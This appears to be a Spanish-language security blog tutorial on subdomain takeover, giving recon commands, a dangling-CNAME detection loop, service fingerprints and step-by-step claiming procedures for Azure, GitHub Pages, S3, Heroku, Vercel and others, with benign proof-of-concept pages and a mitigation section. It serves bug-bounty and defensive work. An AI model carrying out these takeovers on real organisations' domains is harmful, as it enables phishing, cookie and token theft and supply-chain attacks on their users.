← Volver al blog
Subdomain Takeover: Guía Técnica Completa

Subdomain Takeover: Guía Técnica Completa

Un subdomain takeover es una de esas vulnerabilidades que parece simple sobre el papel pero que tiene un impacto real devastador: control total de un subdominio legítimo de la víctima. En este post recorro las técnicas actuales — Azure, GitHub Pages, AWS, Heroku, Vercel y más — con el proceso paso a paso desde que localizas el CNAME dangling hasta que sirves contenido bajo el dominio de la víctima.


¿Qué es un subdomain takeover?

Un subdomain takeover ocurre cuando un subdominio apunta mediante un registro DNS a un recurso externo (GitHub Pages, Azure App Service, un bucket S3...) que ya ha sido eliminado, pero el registro DNS sigue activo. Al quedar el recurso libre, cualquiera puede reclamarlo y servir contenido bajo el subdominio legítimo de la empresa víctima.

No confundas esto con un DNS hijacking. Aquí no se compromete la infraestructura DNS. Se aprovecha una asimetría en el ciclo de vida entre los registros DNS y los recursos cloud: el equipo de desarrollo elimina el servicio pero se olvida de borrar el CNAME.

El flujo del ataque es siempre el mismo:

# Estado normal
blog.victima.com  →  CNAME  →  myblog.github.io  →  Repositorio activo ✓

# Estado dangling (recurso eliminado, DNS intacto)
blog.victima.com  →  CNAME  →  myblog.github.io  →  NXDOMAIN / "404 Not Found"

# Post-takeover (atacante reclama el recurso)
blog.victima.com  →  CNAME  →  myblog.github.io  →  Repositorio del atacante ✗

¿Qué puede hacer un atacante con el subdominio?

Controlar un subdominio legítimo tiene un impacto mucho mayor que el de un dominio aleatorio:

  • Phishing de alta credibilidad — el dominio es el real de la empresa, bypassea cualquier filtro visual del usuario.
  • Robo de cookies — si la cookie tiene scope .victima.com, el subdominio controlado puede leerla.
  • Bypass de CORS — el origen pasa validaciones de whitelist al ser dominio legítimo.
  • Robo de tokens OAuth — si redirect_uri acepta cualquier subdominio, el atacante captura el token.
  • Supply chain attacks — si el subdominio servía scripts JS referenciados por otras páginas, el atacante sirve código malicioso a todos esos clientes.
  • Data leaks — si aplicaciones siguen enviando datos al endpoint eliminado (bases de datos, colas de mensajes, Redis...).

Reconocimiento: encontrar el CNAME dangling

Paso 1 — Enumerar subdominios

# Enumeración pasiva (sin ruido, sin tocar los servidores de la víctima)
subfinder -d victima.com -silent -o subs.txt
amass enum -passive -d victima.com -o amass_subs.txt
assetfinder --subs-only victima.com >> subs.txt

# Fuentes adicionales: certificados TLS públicos
curl "https://crt.sh/?q=%.victima.com&output=json" | jq '.[].name_value' | sort -u

# Combinar y deduplicar
cat subs.txt amass_subs.txt | sort -u | tee all_subs.txt

Paso 2 — Detectar registros CNAME dangling

# Identificar subdominios con CNAME + NXDOMAIN (la señal clave)
while read sub; do
  nxdomain=$(dig $sub | grep -c "NXDOMAIN")
  if [ "$nxdomain" -gt 0 ]; then
    cname=$(dig +short CNAME $sub)
    if [ -n "$cname" ]; then
      echo "[DANGLING] $sub → $cname"
    fi
  fi
done < all_subs.txt

Un NXDOMAIN en el dominio al que apunta el CNAME es la señal más fiable de un takeover posible.

Paso 3 — Identificar el servicio por su fingerprint

Cada plataforma cloud devuelve un mensaje de error característico cuando el recurso no existe. Esto te dice exactamente qué debes reclamar:

Servicio Fingerprint / mensaje de error
GitHub Pages There isn't a GitHub Pages site here.
Azure App Service You do not have permission to view this directory / 404 Web Site Not Found
Azure Blob Storage The specified container does not exist.
AWS S3 NoSuchBucket / The specified bucket does not exist
Heroku No such app / There's nothing here, yet.
Vercel The deployment could not be found on Vercel.
Netlify Not Found - Request ID:
Shopify Sorry, this shop is currently unavailable.
Zendesk Help Center Closed
HubSpot Domain not found / This page isn't available
Fastly Fastly error: unknown domain
Readme.io Project doesnt exist... yet!
Azure CDN NXDOMAIN en azureedge.net
Azure Traffic Manager NXDOMAIN en trafficmanager.net

Azure — 14 servicios vulnerables

Azure es uno de los ecosistemas con mayor superficie de ataque. El patrón es siempre el mismo: el nombre del recurso controla su subdominio. Si ese nombre queda libre, cualquiera puede registrarlo.

Azure App Service (*.azurewebsites.net)

Es el takeover más común en Azure. Muchos equipos despliegan sus apps en App Service, añaden un CNAME, y al eliminar la app se olvidan del registro DNS.

Verificación:

dig app.victima.com CNAME +short
# Output: victima-app.azurewebsites.net.

dig victima-app.azurewebsites.net
# ;; status: NXDOMAIN  ← vulnerable

curl -s https://app.victima.com
# "You do not have permission to view this directory or page."

Explotación:

  1. Del CNAME extraes el nombre: victima-app.azurewebsites.net → nombre del recurso: victima-app.
  2. En el portal de Azure, ve a App Services → Create. El único campo crítico es el Name: introduce victima-app. Runtime stack y región pueden ser cualquiera. Usa el tier gratuito F1.
  3. Una vez desplegado, ve a Custom Domains → Add custom domain e introduce app.victima.com. Azure verificará que el CNAME apunta a tu App Service.
  4. Para el PoC, despliega contenido via Azure CLI:
echo '<html><body><h1>Subdomain Takeover PoC</h1>
<p>Reporter: TuNick | Subdominio: app.victima.com</p>
</body></html>' > poc/index.html

az webapp up --name victima-app --resource-group miRG \
   --html --src-path ./poc/

Azure CDN Classic (*.azureedge.net)

Verificación:

dig cdn.victima.com CNAME +short
# victima-poc.azureedge.net.

dig victima-poc.azureedge.net
# ;; status: NXDOMAIN  ← vulnerable

Explotación:

  1. Del CNAME extraes el nombre: victima-poc.
  2. En el portal, busca Front Door and CDN Profiles → Create. Selecciona Explore other offerings → Azure CDN Standard from Microsoft (classic).
  3. Al crear el perfil, activa Create a new CDN endpoint y asigna el nombre victima-poc. Este nombre controla el subdominio .azureedge.net.
  4. Una vez creado, ve al CDN → Custom domain → añade cdn.victima.com.
  5. Para el PoC, crea un App Service y apunta el CDN a él.

Azure Virtual Machine (*.[region].cloudapp.azure.com)

Muy común en entornos corporativos que usan VMs para exponer servicios web.

Verificación:

dig vm.victima.com CNAME +short
# victima-poc.eastus.cloudapp.azure.com.
# ↑ Extrae: label = victima-poc, región = eastus

dig victima-poc.eastus.cloudapp.azure.com
# ;; status: NXDOMAIN  ← vulnerable

Explotación:

  1. La región es crítica. Del CNAME: victima-poc.eastus.cloudapp.azure.com → debes crear la VM en East US.
  2. Portal → Virtual Machines → Create. Región: East US. El nombre de la VM puede ser cualquiera, no es lo que importa.
  3. Tras el despliegue, ve a Configuration en el sidebar → en DNS name label introduce victima-poc → Save. Esto asigna victima-poc.eastus.cloudapp.azure.com a tu VM.
  4. El subdominio vm.victima.com ahora apunta a tu VM. Levanta un servidor para el PoC: python3 -m http.server 80.

Nota: Las IPs de VM legacy sin región (sin el segmento .eastus.) no son explotables. Solo los que siguen el formato [label].[region].cloudapp.azure.com.


Azure Traffic Manager (*.trafficmanager.net)

Verificación:

dig lb.victima.com CNAME +short
# victima-tm.trafficmanager.net.

dig victima-tm.trafficmanager.net
# ;; status: NXDOMAIN  ← probablemente vulnerable

Ojo con los falsos positivos: Traffic Manager puede devolver NXDOMAIN incluso si el perfil existe pero no tiene endpoints configurados. Verifica siempre en el portal intentando registrar el nombre — si aparece el tick verde ✅ al escribirlo, el recurso está libre y el takeover es real.

Explotación:

  1. Portal → Traffic Manager profiles → Create. En el campo Name introduce victima-tm. Si el tick verde aparece, el nombre está disponible.
  2. Routing method: Priority. Crea el perfil.
  3. El CNAME no resolverá correctamente hasta que el perfil tenga endpoints. Ve a Endpoints → Add → selecciona un App Service PoC. Con endpoint activo, el subdominio resolverá a tu recurso.

Azure Blob Storage (*.blob.core.windows.net)

Verificación:

dig static.victima.com CNAME +short
# victimapoc.blob.core.windows.net.

curl -s http://static.victima.com
# <Code>InvalidDnsMappingFound</Code>  ← storage account no existe, vulnerable

Explotación:

  1. El nombre del Storage Account debe ser exactamente el prefijo del CNAME: victimapoc.
  2. Portal → Storage Accounts → Create → Name: victimapoc.
  3. Tras crear, ve a Networking → Custom Domain → introduce static.victima.com → Save.
  4. Activa el hosting estático y sube el PoC:
az storage blob service-properties update \
   --account-name victimapoc \
   --static-website \
   --index-document index.html

az storage blob upload \
   --account-name victimapoc \
   --container-name '$web' \
   --name index.html \
   --file ./poc/index.html

Resto de servicios Azure vulnerables

Servicio Dominio Cómo reclamar Impacto
Azure API Management *.azure-api.net Crear recurso API Management con mismo nombre (~20min deploy) Falsificar respuestas de API
Azure SQL Server *.database.windows.net Crear SQL Server con mismo nombre Data leak, intercepción de queries
Azure AI Search *.search.windows.net Crear Search service con mismo nombre Resultados falsos, phishing
Azure Container Registry *.azurecr.io Crear Container Registry con mismo nombre Servir imágenes Docker maliciosas
Azure Container Instance *.azurecontainer.io Crear instancia con DNS label y scope "Any reuse" Control de contenedor
Azure Redis Cache *.redis.cache.windows.net Crear Redis Cache con mismo nombre Data leak de sesiones/caché
Azure Service Bus *.servicebus.windows.net Crear Service Bus con mismo nombre + colas equivalentes Interceptar mensajes de la aplicación

Para Azure SQL Server y Azure Service Bus, el impacto va más allá de un simple takeover web: si la aplicación sigue intentando conectarse al endpoint eliminado, el atacante recibe en tiempo real datos de la aplicación (credenciales, mensajes, consultas) que van dirigidos al endpoint que ahora controla.


GitHub Pages

Verificación

dig blog.victima.com CNAME +short
# acme-corp.github.io.

curl -s https://blog.victima.com
# "There isn't a GitHub Pages site here."  ← vulnerable

# Confirmar que el repositorio no existe
curl -s https://api.github.com/repos/acme-corp/acme-corp.github.io | jq '.message'
# "Not Found"  ← podemos crearlo

Explotación paso a paso

  1. Del CNAME acme-corp.github.io extraes el usuario u organización: acme-corp. El repositorio de GitHub Pages debe llamarse exactamente acme-corp.github.io.

  2. Crea el repositorio en tu cuenta o en una cuenta con el nombre acme-corp (si el nombre de usuario está disponible).

  3. Sube el PoC con el fichero CNAME que apunta al dominio objetivo:

git init acme-corp.github.io
cd acme-corp.github.io

cat > index.html <<EOF
<!DOCTYPE html>
<html>
<body>
  <h1>Subdomain Takeover PoC</h1>
  <!-- Prueba de concepto para bug bounty — no se sirve contenido dañino -->
  <p>Reporter: TuNick | Dominio: blog.victima.com</p>
</body>
</html>
EOF

# El fichero CNAME es lo que liga este repo con el subdominio
echo "blog.victima.com" > CNAME

git add .
git commit -m "Subdomain takeover PoC"
git remote add origin https://github.com/acme-corp/acme-corp.github.io
git push -u origin main
  1. En la configuración del repositorio → Pages → Source: rama main. En pocos minutos blog.victima.com mostrará tu contenido.

Importante: GitHub introdujo verificación de dominio a nivel organización. Si la organización tiene sus dominios verificados en GitHub (github.com/orgs/[org]/settings/domains), el takeover de subdominios bajo ese dominio ya no es posible. Comprueba esto antes de intentar el takeover.


AWS S3

Verificación

dig assets.victima.com CNAME +short
# assets.victima.com.s3-website-eu-west-1.amazonaws.com.

curl -s http://assets.victima.com
# <?xml ...><Code>NoSuchBucket</Code>  ← bucket eliminado, vulnerable

La región está codificada en el CNAME (eu-west-1). Es información que necesitas para el takeover.

El nombre del bucket debe ser exactamente el subdominio víctima: en este caso, assets.victima.com.

Explotación paso a paso

# Crear el bucket en la región correcta
aws s3api create-bucket \
  --bucket assets.victima.com \
  --region eu-west-1 \
  --create-bucket-configuration LocationConstraint=eu-west-1

# Habilitar static website hosting
aws s3 website s3://assets.victima.com/ \
  --index-document index.html

# Desbloquear acceso público (necesario para servir el PoC)
aws s3api delete-public-access-block \
  --bucket assets.victima.com

# Aplicar política de bucket público
aws s3api put-bucket-policy \
  --bucket assets.victima.com \
  --policy '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::assets.victima.com/*"
    }]
  }'

# Subir el PoC
aws s3 cp poc/index.html s3://assets.victima.com/index.html \
  --content-type "text/html"

Visita http://assets.victima.com y verás tu PoC servido desde el dominio legítimo de la víctima.

Supply chain angle (2024-2025): Investigaciones recientes han demostrado que buckets S3 eliminados que antes servían scripts JS o assets referenciados en pipelines CI/CD pueden convertir un subdomain takeover en un ataque de supply chain. El atacante registra el bucket y sirve scripts maliciosos que se ejecutan en el contexto de múltiples aplicaciones.


Heroku

Verificación

dig api.victima.com CNAME +short
# victima-api.herokudns.com.

curl -s http://api.victima.com | grep -i "heroku\|no such app"
# "No such app"  ← vulnerable

Explotación paso a paso

heroku login

# Crear una app (el nombre puede ser cualquiera)
heroku create mi-poc-app

# Crear una app Node.js mínima para el PoC
mkdir poc-heroku && cd poc-heroku
echo '{"name":"poc","version":"1.0.0","scripts":{"start":"node app.js"}}' > package.json
cat > app.js <<EOF
const http = require('http');
const server = http.createServer((req, res) => {
  res.end('<h1>Subdomain Takeover PoC - Heroku</h1>');
});
server.listen(process.env.PORT || 3000);
EOF
echo "web: node app.js" > Procfile

git init && git add . && git commit -m "PoC"
heroku git:remote -a mi-poc-app
git push heroku main

Una vez desplegada la app, ve a Settings → Domains → Add domain en el dashboard de Heroku e introduce api.victima.com. Heroku añadirá el dominio y en pocos minutos el subdominio de la víctima apuntará a tu app.


Vercel

Verificación

dig preview.victima.com CNAME +short
# cname.vercel-dns.com.

curl -s https://preview.victima.com
# "The deployment could not be found on Vercel."  ← vulnerable

Explotación paso a paso

  1. Crea una cuenta en Vercel y despliega cualquier proyecto (puede ser una página HTML estática).
  2. Ve a Project Settings → Domains → Add e introduce preview.victima.com.
  3. Vercel verificará que el CNAME apunta a cname.vercel-dns.com (que ya lo hace) y asignará el dominio a tu despliegue.

Netlify

Verificación

dig docs.victima.com CNAME +short
# victima.netlify.app.

curl -s https://docs.victima.com
# "Not Found - Request ID: ..."  ← vulnerable

Explotación paso a paso

  1. Crea un sitio en Netlify y despliega contenido básico.
  2. Ve a Domain settings → Add custom domain → introduce docs.victima.com.
  3. Netlify verificará el CNAME y en minutos el dominio quedará bajo tu control.

Otros servicios relevantes

Shopify

Cuando una tienda Shopify se cancela pero el CNAME sigue apuntando a shops.myshopify.com, cualquiera puede crear una tienda con el mismo nombre de subdominio y reclamar el dominio.

dig shop.victima.com CNAME +short
# victima.myshopify.com.

curl -s https://shop.victima.com
# "Sorry, this shop is currently unavailable."  ← vulnerable

Explotación: crea una tienda en Shopify con el mismo nombre que el subdominio de la tienda eliminada (victima) y añade shop.victima.com como dominio personalizado.

Zendesk

dig support.victima.com CNAME +short
# victima.zendesk.com.

curl -s https://support.victima.com
# "Help Center Closed"  ← vulnerable

Crea una cuenta Zendesk trial, habilita el Help Center y añade support.victima.com como dominio personalizado. El impacto aquí puede ser capturar tickets de soporte de usuarios reales que siguen abriendo incidencias al subdominio.

HubSpot

dig info.victima.com CNAME +short
# victima.hs-sites.com.

curl -s https://info.victima.com
# "Domain not found"  ← vulnerable

Crea una cuenta HubSpot, publica una landing page y añade el dominio personalizado.

Fastly (CDN)

dig static.victima.com CNAME +short
# dualstack.b.shared.global.fastly.net.

curl -s -H "Host: static.victima.com" https://dualstack.b.shared.global.fastly.net
# "Fastly error: unknown domain: static.victima.com"  ← vulnerable

Crea un servicio en Fastly, configura el dominio static.victima.com y apúntalo a cualquier backend. Dado que Fastly usa virtual hosting basado en el header Host, en cuanto registras el dominio en tu cuenta, el CDN enruta el tráfico a tu backend.


Automatización

Para bug bounty o auditorías a gran escala, la automatización es clave. Estas son las herramientas más utilizadas actualmente:

Enumeración de subdominios:

  • subfinder — enumeración pasiva rápida.
  • amass — enumeración activa y pasiva profunda.
  • assetfinder — fuentes públicas rápidas.

Detección de takeovers:

  • nuclei con templates de takeover — el estándar actual.
  • subzy — especializado en subdomain takeovers.
  • baddns — detecta DNS misconfigurations incluyendo takeovers.
  • Subdominator — especializado en Azure y otros servicios cloud.

Referencia de servicios vulnerables:

  • can-i-take-over-xyz — lista mantenida por la comunidad con fingerprints y estado actual de cada servicio.

Pipeline típico para bug bounty:

# Enumeración + detección en un pipeline
subfinder -d victima.com -silent | \
  httpx -silent | \
  nuclei -t /nuclei-templates/http/takeovers/ -o resultados.txt

# O con subzy directamente sobre la lista de subdominios
subzy run --targets all_subs.txt --concurrency 50 --hide_fails

Mitigación

Desde el lado defensor, la solución es simple en teoría pero difícil de aplicar en entornos grandes:

Eliminar registros DNS antes de eliminar el recurso. El orden importa: primero borra el CNAME, espera a que expire el TTL, y luego elimina el recurso cloud. Nunca al revés.

Auditoría periódica de registros DNS. Implementa procesos de revisión que comprueben regularmente que todos los CNAMEs apuntan a recursos activos. Herramientas como nuclei o baddns pueden integrarse en pipelines CI/CD para detectar registros dangling de forma continua.

Verificación de dominio en los servicios que lo permiten. GitHub permite verificar dominios a nivel organización para que ningún repositorio externo pueda reclamarlos. Otros servicios como Google Sites también ofrecen mecanismos similares.

Monitorización de tu superficie de ataque. Servicios como SecurityTrails, Shodan o tu propio pipeline de subfinder pueden alertarte cuando aparecen nuevos subdominios o cuando los existentes empiezan a devolver errores característicos de recursos eliminados.


Referencias

← Volver al blog